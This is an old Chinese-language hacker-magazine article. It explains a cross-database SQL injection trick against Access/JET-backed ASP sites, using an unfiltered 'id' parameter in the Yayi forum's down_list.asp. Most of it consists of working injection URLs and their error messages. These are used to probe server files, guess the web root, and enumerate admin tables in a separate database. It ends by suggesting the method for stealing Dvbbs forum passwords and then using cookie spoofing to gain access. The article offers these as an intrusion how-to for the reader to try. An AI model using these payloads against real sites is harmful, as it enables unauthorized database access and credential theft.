出自:www.4ngel.net E-Mail:sniper@77169.com 此文已在《駭客X檔案》發表 ###################################### 看到這個題目各位大蝦小蝦先別急著找東西砸我,的確現在跨庫查詢的資料隨便找找都可以找到一大堆,不像以前那樣想看點資料還得對著一大堆E文敲腦袋。今天我要說的是我前一段時間發現的一個跨庫查詢的一個新玩法,大家可要仔細聽哦。 照例先介紹一下,在大概一個月前幻影旅團和灰色軌跡對這個問題進行了一些討論就是在遞交:
| http://www.target.com/show.asp?id=1 or 0<>(select count(*) from admin.c) 會出現如下的錯誤提示: Microsoft JET Database Engine 錯誤 '80004005' 找不到檔案 'C:/WINNT/system32/admin.mdb'。 |
看到了吧,如果看過xhacker寫的那份學習報告的人肯定就已經興奮起來了,因為那份報告隱約提到了ACCESS的一個漏洞可以Dir C:/ /s!讓我們繼續玩下去吧,遞交:
| http://www.target.com/show.asp?id=1 or 0<>(select count(*) from c:/boot.ini) 返回: Microsoft JET Database Engine 錯誤 '80004005' 找不到檔案 'c:/boot.mdb'。 |
看樣子from後面的部分我們是可以添加路徑的了。既然想Dir當然就要訪問了cmd.exe拉,再來:
| http://www.target.com/show.asp?id=1 or 0<>(select count(*) from c:/winnt/system32/cmd.exe.c) 看看錯誤提示吧: Microsoft JET Database Engine 錯誤 '80004005' 不可識別的資料庫格式 'c:/winnt/system32/CMD.EXE'。 |
看樣子我們的希望落空了哦(多次實踐後你可以得到from後面跟的檔案名稱的格式應該是這樣:檔案名稱.尾碼名.任何字母,這樣你才可以訪問到檔案名稱.尾碼名的那個檔案)。這個時候這個漏洞好象我們至多隻可以確定一個目錄或一個檔案是否存在,當時我和很多人的想法一樣認為這屬於雞肋級的漏洞,食之無味,棄之可惜。 後來在一天在幫一個朋友檢測論壇安全性,看了看是用的雅藝論壇。首先我試了一下預設的資料庫名。提交:http://www.target.com/yabbs/data/1yabbs.asp,沒有提示找不到檔案,看樣子是沒改資料庫名了。但是由於副檔名是.asp,我們仍然無法下載他的資料庫。沒辦法,只好到硬碟去翻了半天把我原來下載的一套雅藝論壇拿出來看代碼。結果還真發現了一個激動人心的地方,在論壇內建的下載外掛程式的down_list.asp這個檔案發現這樣的一段代碼:
if request("id")="" then response.write "您沒有選擇相關軟體,請返回" response.end end if set rs=server.createobject("adodb.recordset") sql="select Dclass.class,DNclass.Nclass,download.showname,download.classid,download.Nclassid,download.lasthits,download.downshow from download,Dclass,DNclass where download.classid=Dclass.classid and download.Nclassid=DNclass.Nclassid and download.ID="&request("id") |
看見沒有,&request("id")這個變數沒做任何過濾就代如到查詢語句中去了,我們可以進行SQL注入!說的容易,在做的時候卻碰到了困難,遞交如下URL:
| http://www.target.com/yabbs/down_list.asp?id=1%20or%200<>(select%20count(*)%20from%20admin) |
成功返回頁面,OK,存在admin表。再來確定儲存使用者名稱的列名:
| http://www.target.com/yabbs/down_list.asp?id=1%20or%200<>(select%20count(*)%20from%20admin where username) |
也成功了,儲存使用者名稱的列為username,再來看密碼列:
| http://www.target.com/yabbs/down_list.asp?id=1%20or%200<>(select%20count(*)%20from%20admin where password) |
出錯了,沒關係早有準備,再試。最後幾乎把我可以想到的列名全試了個遍,既然沒一個對的,這下輪到我鬱悶了,問了問那個朋友對資料庫做了處理沒有,得到的回答是沒有。那就開啟他預設的資料庫吧,DATA目錄下有兩個資料庫,一個是1yabbs.asp(論壇用),一個是download.asp(下載系統用),開啟一看,裡面竟然根本沒有密碼列!看樣子又沒的玩了,後來在和MM閑扯的時候突然想到了利用方法(別說我和MM聊天不專心啊:)。在SQL注入的時候我們有時會用到這樣語句“admin.id”其中admin是表名,id是列名。那麼我們可不可以結合前一段時間討論的那個雞肋漏洞呢,既然想到了,那就要動手實踐一下才行,用開始說的方法,先來找WEB目錄:
| http://www.target.com/yabbs/down_list.asp?id=1%20or%200<>(select%20count(*)%20from%20c:/web/w.c.c) 返回如下資訊: Microsoft JET Database Engine 錯誤 '80004005' 'c:/web/w.c'不是一個有效路徑。 確定路徑名稱拼字是否正確,以及是否串連到檔案存放的伺服器。 /yabbs/down_list.asp,行37 |
目錄猜錯了,再來:
| http://www.target.com/yabbs/down_list.asp?id=1%20or%200<>(select%20count(*)%20from%20d:/web/w.c.c) 這次提示就變了: Microsoft VBscript 編譯器錯誤 錯誤'8000a03f6' 缺少 'End' /iisHelp/common/500-100.asp,行242 Microsoft JET Database Engine 錯誤 '80004005' 找不到檔案'd:/web/w.c'。 /yabbs/down_list.asp,行37 |
這次提示找不到檔案哦,呵呵,知道WEB目錄就容易了大膽的猜吧。再次遞交:
| http://www.target.com/yabbs/down_list.asp?id=1%20or%200<>(select%20count(*)%20from%20d:/web/yabbs/datayabbs.asp.c) 這次OK,直接猜到了具體的路徑,提示卻正巧和我的想法一樣,真是#$#$@(此時興奮的暈過去10秒......) 返回的資訊為: Microsoft VBscript 編譯器錯誤 錯誤'8000a03f6' 缺少 'End' /iisHelp/common/500-100.asp,行242 Microsoft JET Database Engine 錯誤 '80040e37' Microsoft Jet 資料庫引擎找不到輸入表或查詢 'c'。 確定它是否存在,以及它的名稱的拼字是否正確。 |
好了,現在一切都將變的簡單化了,遞交查詢語句確定表和列名。
| http://www.target.com/yabbs/down_list.asp?id=1%20or%200<>(select%20count(*)%20from%20d:/web/yabbs/datayabbs.asp.admin%20where%20username) |
成功顯示,說明在1yabbs.asp這個資料庫中存在admin表和username列。再來查詢ID值,遞交如下URL:
| http://www.target.com/yabbs/down_list.asp?id=1%20or%200<>(select%20count(*)%20from%20d:/web/yabbs/datayabbs.asp.admin%20where%20id=1) |
頁面成功顯示,現在不用我多說什麼了吧,大家都會的,下面的部分就看大家的了。 回顧一下上面的分析過程我們可以幹些什麼呢?在面對一個大型網站,你知道他的資料庫名(例如利用我上次寫的那篇動網爆庫漏洞的文章中提到的內容,得到了動網論壇的資料庫名,但是他的資料庫又不可以下載,而那套程式又沒有其他已知的注入漏洞。)我們可以試試利用那個站裡其他程式存在的SQL注入漏洞來進行跨庫查詢,先猜WEB路徑,再進行跨庫查詢,從而得到動網論壇的密碼,再進行COOKIE欺騙,就可以拿到前台許可權了。利用的地方很多,大家可以自己去摸索一下,畢竟要把別人的技術變成自己的就要好好拓展別人的思路來研究。 |